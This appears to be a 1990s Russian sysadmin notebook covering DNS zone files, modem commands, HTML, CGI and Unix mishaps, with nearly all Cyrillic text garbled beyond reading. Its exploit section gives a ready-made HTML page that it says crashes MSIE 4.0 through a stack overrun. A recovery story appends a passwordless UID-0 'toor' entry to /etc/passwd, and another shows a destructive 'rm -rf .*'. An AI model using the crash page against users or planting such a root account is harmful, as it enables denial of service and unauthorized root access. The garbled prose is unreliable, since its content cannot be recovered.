        ; secondary 214.134.in-addr.arpa 134.214.100.1 s/134.214
        ;##############  䠩 ###################################

        ;##############
        ; Initial cache data for root domain servers 11-may-94
        ;;;;Get it from
        .                       99999999 IN  NS    NS.INTERNIC.NET.
        NS.INTERNIC.NET.        99999999     A     198.41.0.4
        .                       99999999     NS    NS1.ISI.EDU.
        NS1.ISI.EDU.            99999999     A     128.9.0.107
        .                       99999999     NS    KAVA.NISC.SRI.COM.
        KAVA.NISC.SRI.COM.      99999999     A     192.33.33.24
        .                       99999999     NS    C.NYSER.NET.
        C.NYSER.NET.            99999999     A     192.33.4.12
        .                       99999999     NS    TERP.UMD.EDU.
        TERP.UMD.EDU.           99999999     A     128.8.10.90
        .                       99999999     NS    NS.NASA.GOV.
        NS.NASA.GOV.            99999999     A     128.102.16.10
                                99999999     A     192.52.195.10
        .                       99999999     NS    NS.NIC.DDN.MIL.
        NS.NIC.DDN.MIL.         99999999     A     192.112.36.4
        .                       99999999     NS    AOS.ARL.ARMY.MIL.
        AOS.ARL.ARMY.MIL.       99999999     A     128.63.4.82
                                99999999     A     192.5.25.82
        .                       99999999     NS    NIC.NORDU.NET.
        NIC.NORDU.NET.          99999999     A     192.36.148.17


        ;##############  䠩 ###################################

        ;##############
        ; local dns file local.reverse 0.0.127.in-addr.arpa
        ;
        @  IN   SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
                        94061801        ; Serial (yymmddxx)
                        10800           ; Refresh 3 hours
                        3600            ; Retry   1 hour
                        3600000         ; Expire  1000 hours
                        86400 )         ; Minimum 24 hours
           IN   NS      server.foms.msk.ru.
        1  IN   PTR     localhost.
        ;##############  䠩 ###################################

        ;##############
        ; foms.msk.ru zone hosts file for DNS-server server.foms.msk.ru
        ;
        @  IN  SOA server.foms.msk.ru. moshkow.server.foms.msk.ru. (
                        95031802        ; Serial (yymmddxx)
                        10800           ; Refresh 3 hours
                        3600            ; Retry   1 hour
                        3600000         ; Expire  1000 hours
                        86400 )         ; Minimum 24 hours

                NS      server.foms.msk.ru.
                MX      0       server.foms.msk.ru.

        ;       MX      20      ipsun.ac.msk.su.
        ;       MX      30      mailhost.kiae.su.
        ;       NS      ipsun.ac.msk.ru.

        localhost       A       127.0.0.1

        $INCLUDE /var/named/primary/foms-hosts-spisok

        ;; ᫨    ᢮    *.develop.foms.msk.ru
        ;;  ᥫ, ᠬ⥫쭮 ন ᢮ .
        ;margo.develop  IN      A       193.95.100.4
        ;develop        IN      NS      margo.develop.foms.msk.ru.
        ;##############  䠩 ###################################

        ;##############
        ;;;;;;;;;;;; Hosts in foms.msk.ru zone ;;;;;;;;;;;;;;;;;;;;;;;;

        ; Our main server with DNS, ftp, gopher, www, mailrelay, NFS,
        ;
        server    A     198.8.2.1         ; e1x70 ethernet
                  A     198.8.3.1         ; m3760 ethernet
                  A     193.124.158.33    ; sl0   slip link
                  MX    0       mailrelay
                  HINFO Motorola88/110 "SVR4.1/88"
                  WKS   198.8.2.1   UDP ( time domain name )
                  WKS   198.8.2.1   TCP ( echo telnet hostnames domain )
        mailrelay CNAME server
        ftp       CNAME server
        fedfond   CNAME server

        ; Host s20
        ;
        s20     A       198.8.2.20
                MX      0       mailrelay
                MX      20      linux
                HINFO   Besta/31 UNIX-V.3
        besta   CNAME   s20

        ; Host pcat101
        ;
        pcat101 A       198.8.2.101
                MX      0       mailrelay
                HINFO   PC486/66DX2 "MSDOS 6.2"
        pc101   CNAME   pcat101
        guest   CNAME   pcat101

        ; Host pcat106
        ;
        pcat107 A       198.8.3.107            ; eth0
                A       193.124.158.34         ; sl0 slip link
                MX      0       pcat107
                MX      10      mailrelay
                HINFO   PC486/66DX2 "Linux 1.2.1"
        pc107   CNAME   pcat101
        linux   CNAME   pcat101
        ;##############  䠩 ###################################

        ;##############
        @  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
                        94102501        ; Serial
                        10800           ; Refresh 3 hours
                        3600            ; Retry   1 hour
                        3600000         ; Expire  1000 hours
                        86400 )         ; Minimum 24 hours
                NS      server.foms.msk.ru.

        ; Reverse-name   [ttl]          PTR     Real-name-dot
        ;
        1       PTR      server.foms.msk.ru.
        20      PTR         s20.foms.msk.ru.
        101     PTR     pcat101.foms.msk.ru.
        ;##############  䠩 ###################################

        ;##############
        @  IN  SOA  server.foms.msk.ru. moshkow.server.foms.msk.ru. (
                        94102501        ; Serial
                        10800           ; Refresh 3 hours
                        3600            ; Retry   1 hour
                        3600000         ; Expire  1000 hours
                        86400 )         ; Minimum 24 hours
                NS      server.foms.msk.ru.

        ; Reverse-name  [ttl]   PTR     Real-name-dot
        ;
        1       PTR      server.foms.msk.ru.
        106     PTR     pcat106.foms.msk.ru.
        107     PTR     pcat107.foms.msk.ru.
        ;##############  䠩 ###################################
        .
                &dD  Unix&d@

                     ⢥म   
        ஢    ॢ    ᪨,      ॢ   
        ⥫⢠  O'Raily,  ⠫ ( ।砩訬 ᪫祭)
        -  ४.  ..,  ᠭ  ᮢ  (  祡
                ᨮ    ९⥫,      
        ᨮ ணࠬ)     (⢥,
          ⥫⢠ O'Raily)

              ᪮ :

                &dD୨, &d@

        ୨,   ,    祬-  ॢ    "UNIX  -
        㭨ᠫ쭠  ।  ணࠬ஢".  Warning!    
        ᪮  ﯠ  稯⮪  訯   regex
          ⮫쪮.     imho      ࠫ    manpages,
        ⤠  ਮ  ६ .

          ᬮ   - ⫨筠 .  뫮  ᭮ 
         .

                &dD&d@

          "㪮⢮    樮  ⥬  UNIX".  筥,
        SysV.release-unknown.  ⮦ 祣  砫.

                &dD&d@

         (  )    troff ᠭ. ,
         ਨ " ५窠" - "".

                &dD85&d@

        类    ਤ  -- -  ⥬ 85. ᭮
        .

           ᨫ쭮 ५.   

                &dD . . ⥪ 樮 ⥬ Unix&d@

        祭  ⮫   㯭 ᠭ "" -   
        ॠ樨 . ᠭ Unix . ᠭ  "몥 C" 
        ﬨ.    쬠  ,  ⥬   ⥬, 
         㧭  -  .

            --  ᪨  ॢ     室   480
        娢.

                &dD"쭠 . ⥬"&d@

        类    Co. "쭠 . ⥬" (࠭ 窠 
         ) --   POSIX  ⠭⮢  ६  .
        1989. 쪠 ⠪,   ࠢ筨.

          쭮  㣨...

                &dD"UNIX/㪮⢮ ⥬ "&d@

        "UNIX/㪮⢮ ⥬ ",  , 
        ,  , ७ .. , bhv, 1997. 830 .,
        50 .

               祭,  祭  ⮩  .    
        . ⢥,   - ୥ security,  
         ⠫쭮 .  .

                &dD"Linux/  樮 ⥬"&d@

          . , bhv, 1997. 760 .

             ⥫⢮    bhv,    ⭮    믮᪮   ᪮쪨
        ᮪   Unix,   ࠧ ⠫  ஢
        堫.  ਣ    쬠 ᫮  諨 ᠭ.
        ॢ  㦥 ਣ.   .

                &dD *  㯨 * &d@

        &dD⥫⢮ BHV"&d@

         ᫥ ६  ᪮쪮 祭 ⢥  ॢ 
         Unix  Internet

        "BHV - ᪢" 270-2032

         1. " 孨᪮ "   ᪨ ., 40           (095) 137 6019
                                                                            0633*

         2. "-"           . ᭨檠, 6            (095) 928 8744

         3. " न"         . . ﭪ, 28          (095) 238 0032
                                                                            5001*

         4. "-孨"           . ஢, 15            (095) 924 3624

         5.  "᪢"               . ᪠, 8             (095) 229 7355

         6. " "               .  ࡠ, 8          (095) 203 8242

         7. " ᪮       .  ஢,      (095) 229 4392
                "                       7/5

         8. ""                     ࠤ᪨ ., 78       (095) 152 8282

         9. ""                   . 㧨⮢, 24          (095) 362 0923

         10. ""                    . ᭮ 猪, 11      (095) 313 8345

         11. ""                  ᪠ ., 9     (095) 954 3044

         12. ""                 ⨭᪨ ., 19/4      (095) 928 6269

         13. ""                 ᪨ ., 29           (095) 955 4101

         14. ""                   ᪨ , 15           (095) 366 9295

        ______________________________________________________
        * - ⥫䮭,  -  ᪠  稥 


                 -  ⮢  ࣮    "" 911-9863
        911-9742 .  -᪠,  45  .2.      .᪠
        楢,             .஢ﭭ  ,
         㤠   㯮  .  -. ३ 㫨 
        ࠢ      45  (⠬  客  ⥫)  室    .
        㯮

        ଠ   
        http://www.book.ru
        http://www.bhv.ru

        .
                &dD᪮쪮 ࠢ  Hayes-ᮢ⨬ &d@
                (樨  㬥樨  ZyXEL 1496*, GVC-1440)

        AT&F0           Factory setting
                          ZyXEL    ⮩ 
                        Enter  Data/Voice

        ATZ0            㧨 profile 0
        AT&V            ᯥ setup
        AT&W0           ࠭ setup  profile 0
        AT&Y0            祭 㦠 profile 0

        ATE0            몫 

        atdp        ᮢ  

        +++                 connect'   ०
        ATO                ०  CONNECT
        ATH              㡪

        ATA              㡪   ⢥  
        ATS0=2           㡪 ᫥ 2- 

                &dD,  筮  ᠬ  ᥡ ⠭&d@.


        AT&P1           Make / break 33/67 (Europe)

        ATQ0              
        ATV1              ⥪⮢

                &dD,    ⠭&d@.

        AT&L1            ० 뤥 
        AT\N5            ᮥ  ᦠ MNP5  V42bis
        ATB6            ⠢ ᪮ 2400  
        ATL0             娩 
        ATM0            Speaker always off

                &dD GVC-1440&d@

        B_      B1 Bell mode                (*)
                B2 Autoscan mode

        D_      R originate call in answer mode
                W whait for second dialtone
                , pause
                @ wait for 5 seconds silence
                ! flash
                ; return to command mode after dialing

        H       1 make busy

        I [0-4] info

        L       2 medium speacker

        M       0 internal speacker off
                1 internal speacker on until carrier
                2
                3

        O       0 return to data mode
                1 return to data mode and initiate equaliser retrain

        

        s0 autoanswer ring          0
        s1 ring counter             0
        s2 Escape code character    +
        s3 CR character             13
        s4 LF character             10
        s5 BS character             8

        S6 dial tone whait time      2 sec
        S7 remote carrier whait time 45 sec
        s8 comma pause time           2 sec
        s9 carrier dettect responce time 6  *1/10 sec
        s10 carrier loss time         14   *1/10 sec
        s11 touch tone dialing speed  95   ms
        s12 esc character detect time 50   1/50 sec

        s14 bitmap

        s16 bitmap

        s18 modem test timer          0
        s21 bitmap
        s22 bitmap
        s23 bitmap

        s25 DTR delay             5 sec
        s26 RTS to CTS delay interval     1   *1/100 sec
        s27 bitmap
        s28 bitmap
        .
                &dD䨣஢ ࢥ HTTPD  ଠ 몠 HTML&d@



          ⥪ 㤥 ᫥  㯭
         ,  ᫨  ᬮ     室    -
        &dD"Document source"&d@


                &dD  ⠫  㬥⠬&d@

        index.html       ᫨  뤠 ⠫,  뤠 index
                         ᫨  , 뤠   ⠫
        HEADER.html       ᮤন  । 砫 ⨭
        README.html       ᮤন    ⨭

        .htaccess        ࠢ騩 䠩  묨 ன ⥪饩 ४ਨ

         ⮨   ⨬  ࠪ⨪:
         Alias  -     ஢.  ࢥ 㤥
                                ⠢.
         ⮫쪮  ?


                &dDᨬ:&d@

        㦭  ⠪:

                   &  -  &
                   "  -  "
                   >  -  >
                   <  -  <
                  >>  -  >>
                  <<  -  <<
                 (C)  -  c    c
                 (R)  -  R
                      -  -
                      -  -
                  <=  -  <=
                  >=  -  >=
         Extra space  -  

                &dD&d@



                  2- ஢

                뫪  ࠧ  㬥

                뫪 뢠  㣮 

                     祭  㬥

                &dD㬥஢  ᯨ᮪           (Unnumbered list)&d@

             
            㣠 


                &dD஭㬥஢  ᯨ᮪           (Numbered list)&d@

            ࢠ 
             


                &dD ⠪    "" ᯨ᪨:&d@
        12,
        12


                &dD᪨             (Definition list)&d@

          㭪
                    , ᯨ뢠騩 ᮤন 㭪
          㭪
                    , ᯨ뢠騩 ᮤন 㣮 㭪


                ଠ஢     ࠣ ⥪
                ଠ஢     ࠣ ⥪  ਭ 80

                ⠭ 騩  ࠢ.
                뭥ᥭ ࠢ ࠣ ⥪



                ਧ⠫쭠 

                砭 ࠣ

                ⪨  ப


               ⨬ ⠣  㤥 ७
                      


                &dD᪨ ⨫&d@

             Bold  ⥪
             Itallic ᨢ ⥪
             Underline ભ        ⠥ ⮫쪮  Netscape 3
            Typewriter ⥪  䮭⮬ 䨪஢ ਭ
         Blink 騩 ⥪
        Strike ભ ⥪

                &dD᪨ ⨫&d@

          Definition. ।塞 ᫮  italic
           Emphasis.   ७            italic
         Titles of books.          italic
         Programm.   ணࠬ ⥪   fixed
          User keyboard entry.            bold fixed
         Status message                  fixed
          Variable.                       italic
          Strong emphasis.             bold
         뤥              italic

                &dDࠢ 梥⠬  䮭⠬&d@
        _BODY_ ⠣ ࠡ뢠 ⮫쪮 ᫨ ᯮ  ᠬ 砫 㬥

                  ⠪ ⠭ ᮡ⢥ 梥  ᥬ 㬥

                  ⠪   ,  ⮢.


         襣 ࠧ,  襭   梥,   ⨯ 䮭



          ⥪  䮭⮬  ࠧ


           ⠪  background 

                &dD 룫廊 筠 뫪.&d@

        Low impact

                &dD ⠢ ⨭&d@


         ᫨ 㦥 ⥪ ᡮ
                                                        ⨭
            ⥪  ⨭

          ALT    -  , ᫨ ⨭  ⠥,
          LOWRES - । ᮢ 让 ⨭ 㧨  - 


                  뢠 BACKGROUND


                &dD窨 -&d@

        tr -  ப ⮫⮫
         ⠡   ⠪ ⠣, ?

        窠 䨪஢ ਭ,   ࠧ஢ ७ ⥪



        Back to my home pagemoshkow@ipsun.ras.ru


                &dD஥ imagemap&d@














                &dD ⮪ HTTP/1.*&d@

          뢠  tcp ᮥ  ⮬ www.host.com  
        (筮 80)   㤠

        GET /local/url/file/name.html HTTP/1.0
        Host: www.host.com
        Http_referer: url_㬥__஬__
         ஥ ⢮ ,
         ᪠뢠 ࢥ,     .
         , ஬ GET 易⥫
        . . .
        ^M^J       -  ப -   -  

        ⭮ 뢠 ⢥ ࢥ:

        http- 
         ᪮쪨 ப
        ^M^J        -  ப
        ⢥ 襭 㬥 as is

        &dDࠦ:&d@ ᪠

        $ telnet www 80
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        GET /index.html HTTP/1.0

         ⮬  ࠧ   Enter


                &dD ࠡ 窠  HTTP/1.1 ⮪?&d@

               ⠢ ᯥ樠쭮  "Range: bytes nnn-".
        ࢥ  窮 頥  206 -  "  ᮤন"  
        ।  襭   䠩. ᫨ ࢥ  ন
        窨,   頥 200  뫠  䠩   
        筮 .

                &dDSSI - Server Side Includes&d@

         ᯥ䨪 , ਬ  www.apache.org

        1. ⮡  SSI  믮﫨,  室    䨣樮
        䠩 ࢥ:

        /etc/httpd/conf/access.conf :------------------------
          # ""
        Options All # Options Includes
        /etc/httpd/conf/srm.conf :------------------------
        AddType text/x-server-parsed-html .shtml
           
        AddType text/x-server-parsed-html .html

        2. SSI ࠡ뢠 ⮫쪮  䠩  ७ .shtml

        ਬ:







        The  value  will  often be enclosed in double quotes; many com
        mands only allow a single attribute-value pair.

        The allowed ELEMENTS are:

        config  - ࠬ ᨭ
            ਡ config
             errmsg  - ᮮ饭  訡, 뫠 
             sizefmt - ଠ ࠧ 䠩
             timefmt - ଠ  䨪樨 䠩
             var     -   ६

        exec    - 믮 shell  CGI-ਯ
             cgi     - (%-encoded) URL relative path to the CGI script.
             cmd     - 믮 shell

        fsize   -  ࠧ 䠩
             file    - ⭮⥫쭮  䠩
             virtual -(%-encoded) URL-path relative 䠩

        flastmod - ᫥ ६ 䨪樨 䠩

        include  - ⠢ 㬥
             file    - ⠢塞 䠩
             virtual - URL - ⮫쪮  ⮬  

        Include variables

        These  are  available  for the echo command, and to any program
        invoked by the document.

        DATE_GMT
             The current date in Greenwich Mean Time.
        DATE_LOCAL
             The current date in the local time zone.
        DOCUMENT_NAME
             The filename (excluding directories) of the document requested
             by the user.
        DOCUMENT_URI
             The (%-decoded) URL path of the document requested by the user.
             Note that in the case of nested
             include files, this is not then URL for the current document.
        LAST_MODIFIED
             The last modification date of the document requested by the user.


        If server side includes are enabled, you will see data values below:

        The date is:
        The current version of the server
        The CGI gateway version
        The server name
        This file is called:
        This file's URI
        The query string
        This file was last modified:
        The size of the unprocessed file
        sample.html was last modified
        You are using
        You came from

                &dDCGI - ᯥ䨪 䥩  ࢥ஬ httpd&d@

         譨, 뢠묨 ணࠬ - gateeway'ﬨ.
         CGI-script    /home/httpd/cgi-bin
        ⮣  室 (  㣨 ⠫, ᠭ  acces.conf
            ।       ப,  १  ६
        㦥,     १   ⠭   .      
        ⠭ 뢮,  砫   "襡 ப"

        ᫨   䨣樮 䠩
        /etc/httpd/conf/srm.conf :------------------------
        AddType application/x-httpd-cgi .cgi
           CGI-ਯ    㤥     ⠫ ॢ
        㬥⮢ -  ७ .cgi

                &dD  &d@

          䠩,  ᯮ樮஢  ப  蠡 "cl"
        http://hoohoo.ncsa.uiuc.edu/file.html#cl

        Request for a CGI script with no extra path information and no query.
        http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi

        Request for a script with extra path information, and no query.
        http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path

        Request for a script with no extra path information, and an ISINDEX query.
        http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query

        Request for a script with extra path information as well as an ISINDEX query.
        http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query

        뢠     ணࠬ,   । 0,1,1  2 㬥:
        extra path - " ", 騩 ᫥   譨
        query      -  ப ᫥  "?"

         extra path ࠡ⠥ image map -  ।  ⥫ ⨭
        query ।  ISINDEX

                &dDCGI-ਯ । ⠪ ࠬ:&d@

        ࠬ ।  ६ 㦥.

        REMOTE_ADDR=127.0.0.1
        REMOTE_HOST=localhost
        HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt

        REQUEST_METHOD=GET

        QUERY_STRING=query
        PATH_INFO=/marshrut
        PATH_TRANSLATED=/home/httpd/docs/marshrut

        SCRIPT_NAME=/cgi-bin/proba
        HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4  libwww/2.12 modified


         ⥯   ଫ   checkbox':


             Press me.



        # ISINDEX - ࠬ  । ࣮ࠬ CGI  $1

        #  ଥ METHOD=GET - ⠬ 뢠  ன ।
        # 㬥  ६ 㦥 QUERY_STRING
        # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off

        #    ࠡ⠥ POST,  PUT. ⥫쭠 ଠ ⠫
        ⮬  ࢥ. ࢥ   cgi-ணࠬ  ⠭ .
         뫠 䠩 ⠭  ६ 㦥 CONTENT_LENGTH
         ⨯  -  CONTENT_TYPE

        FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"



                    ^^^^^   ⮡ ࠭ ଠ  "ᥠ"
              Press me.







           the WebUsenet



                &dD  뫠  ⭮:&d@

        Content-type: text/html

        ন, ஥  ᪢ 襣 ࢥ - 

                ᫨    ᮤন,  ⮫쪮 뫪, :

        Location: /path/doc.txt
              
        Location: gopher://gopher.ncsa.uiuc.edu/


                ਬ ⥪  ⮬ ࢥ୮  -  
         ࠧ,  ⥫쭮 䨫樨:

        --- start of output ---
        HTTP/1.0 200 OK
        Date: Tuesday, 26-Dec-95 15:17:10 GMT
        Server: NCSA/1.3
        MIME-version: 1.0
        Content-type: text/html
        Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
        Content-length: 3132

        This is a plaintext document generated on the fly just for you.
        --- end of output ---
        ⠢ 㤠 ᮮ⢥騥 祭 ६
        $SERVER_PROTOCOL $SERVER_SOFTWARE


                &dD窨&d@

         ⮯⠭ URL  timeout'. ⠢  砫 㬥:



               HTML-㬥 -  १ 12 ᥪ㭤 㤥
        ⮬᪨   㪠 URL

.      - ⠣ META HTTP-EQUIV  ⥫   HTTP- 㬥. ਬ "ᨫ⢥  charset':




        I'm entering for the first time from (city, state/country)





        Content-type: text/html
cgi-bin/Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
         窠 㤥 ⮬⮬ 뫠   ࢥ ⮬,  ⮫쪮   稫

        ᫨  ᪠  ⠪,     ⠭  ஬ ,  
        㤥 室  뫪
        Status: 204 No Content

         ⠪   ࠧ     mailto ᫠
        tets

         쬮





                &dD ᯫ&d@
        MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.

        <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
        opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
        --------cut here and save as crashmsie.html---------------------

        Trying to crash IE 4.0
        <EMBED
SRC=file://C|/A.0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
        89>
                                                                       40
        80                                                                               160                    170                 180                 190          200
        </HTML>

                &dD⨥ ⠫  譨 ⮢&d@

          ⠫ 䠩   .htaccess         ⠪ ᮤঠ


        order deny,allow
        deny from all
        allow from polimos.ras.ru localhost


                &dD. ⠪ &d@

        ⠭⨭ ࠨ. 祡  HTML  㡭
        ३  稥 , 訥  HTML 2.0  HTML 3
        .
                &dDਨ    unix,  ࠡ&d@

                &dD 1  ⫨ 殬. ᯮ祭 /etc/passwd&d@

        &dD
        >  ⮢ (  :),   ) 訫  ᢮ root'y  
        > /sbin/sh ᤥ /bin/ksh
        >  祣 ।஢ /etc/passwd,  㤠筮, 訡  稫
        > /sbin/ksh.
        > ஡:
        > $ su root -c /sbin/sh
        >  .   쪮   堪 .
        >  ,  ஢: ⠭ ?
        &d@

           室. ᨪ.  ࢮ  ࢮ ", ,
          shell  㯥..." :-)

        1.      df,  ᬮ  /    , 
          ७,  ⥬  㠫  

           mknod    # mkdev, mknode, mksf -  ᮧ ᯥ樠 䠩
                    #   ⠬   뢠

           㬠 , ன ᮧ
        ᯥ-䠩 /dev/root ( 㤠 ⠬  "/"

        2. 㧨  ⠫樮 ਬ/᪥/CD.
         ⠬  室  install/update/system maintance  
        "system maintence" ( ᥣ ᥣ shell root')

        ⠫ ᬮ஢   /dev/root  /mnt
         ।஢ /mnt/etc/passwd

        &dDᠤ No 1&d@

        ࠧ    ᫥   㧪   -⥬   ᯥ樠   䠩
        ᮮ⢥ ⪮   (!).    窠  -
         mknode 㦥 ᠭ  㬠.

        &dDᠤ No 2&d@

          vi    ᪠  (  terminfo)      .
        ਤ㬠  .  ਬ

        echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
                                                         ^^^^^^

           >>     >  ( 祬 :-)


           ⠪:
        PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
        TERMINFO=/mnt/usr/lib/terminfo   #    ⠬

          -      ७,  ⮬    
         䠩  ,       祭    ᬮ
        ஬  ࠧ,   ஬娢 .

                &dD 2   ⮬ . ᯮ祭 /etc/fstab&d@

         Date: 20 Apr 1997
         From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)

            ⮦  뫮  - ⨫  /etc/fstab  ᤥ reboot 
        ⨢ 訡 -  -  (    Axil    SunOS
        4.1)  single user.

          ls - Command not found - ⭮ -  ⨫ /usr

        ᬮ५   㣮 SUN'    /sbin - 襫 mount,
        ࠤ - ᤥ /sbin/mount /usr.

         VI!

        砫    ⠭ 㦭 set TERM   - ⨫
        VI.  뢠 fstab - 䨣  ப (  -  ࠡ⠩
          PICO,  VI !!!), ࠢ, save' -  root partition 
        READ ONLY !!!

         stop-A.

         , ᮢ⮢ ,   boot-  ᤥ
        b  -rw  (    write),  ᫥  ⮣    ਫ  
        楤  mount  VI  ࠢ /etc/fstab.

        ...   - VI  ᪠   /var  ⨫, .
        /tmp -   /var/tmp ,  VI  /tmp  .

        /*     Linux ᯥ樠쭠   - ६஢ 
        read-write -   single-user-mode  믮

        mount -n -o remount /
        */

                &dD  rm -rf  SCO&d@

               ⮣,      蠡  ".*" 室 ⠫ ".."
            rm -r .*

             (設⢮ unix'    訡,   )

        &dD
         From:  ஢

        "...  訫      襬  SCO-譮 ࢥ  Oracl᪮ 
          ᢮   ᪥..."

          # cd /usr/tmp
          # rm -rf *

        ,  ⠬ 直 嫠 ⠫ /usr/tmp/.X11-0   ..
          ⮣

          # rm -rf .*   # !

          # du
        ldd: Can not open file
          # df
        ldd: Can not open file
          # ls -al
        ldd: Can not open file

        &d@
        . . .

               ⮩  ਨ    .   㦥 , 
        /usr/tmp/.* ᮤন  ᥡ /usr/tmp/..  ᫥ reboot' 設,
          ⠫ /usr 㦥  .

                &dD   "᭮   ᥩ   ᥩ"&d@

               㪠, Unix + TCP/IP -  ⪮䨣 設
           㫨窠  ⠢    ࠡ祣        
        室  .

             &dD  1.&d@           IP-,  
        ⨭  㤠 設...  - ஬, ᪠

        ifconfig eth0 down

              ᮡ⢥  . 
        ifconfig eth0 NEW-IP    뫮 㦥 .

              筮 ,  _ _  ப 
        ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...

             &dD 2.&d@ ⥫  ஢ security. 襬
         /etc/hosts.deny
        ALL:ALL

         /etc/hosts.allow
        ALL:193.263.12.13
                ^^^  த   쪠 訡窠,  ⠢, 
         -  㦥 ᯥ ⫮.

                &dD ""  "  "&d@

                         ࢥ,     reset  ,
        ॣ㧨,   ,   㦥 㭥᫨.  telnet'
          - 㤠.

             㡨 ᢥ  ᥬ ⠦, 稫  - voila!

                &dD /lib/libc.so - ३ LIB C&d@

              Linux. 1993 . ॡ  LibC. , ।,
        - -  ।,  -   .

         cd lib
         mv libc.so libc.so-old
         mv libc.so-new libc.so
        ldd: Can not execute, shared library not found
             Finish.

             諮 㧨  ᪥, ஢ hd.

             ,        ᬥ譮,   ᫥騩 ࠧ   ,
        ᠭ   ப  ࠡ⠫.    窠    
        ...       Linux. 祬, 䠩  ⠫
        /sbin - 筮 staticaly-linked -      ࠡ  ࠧ塞
        libc  .
.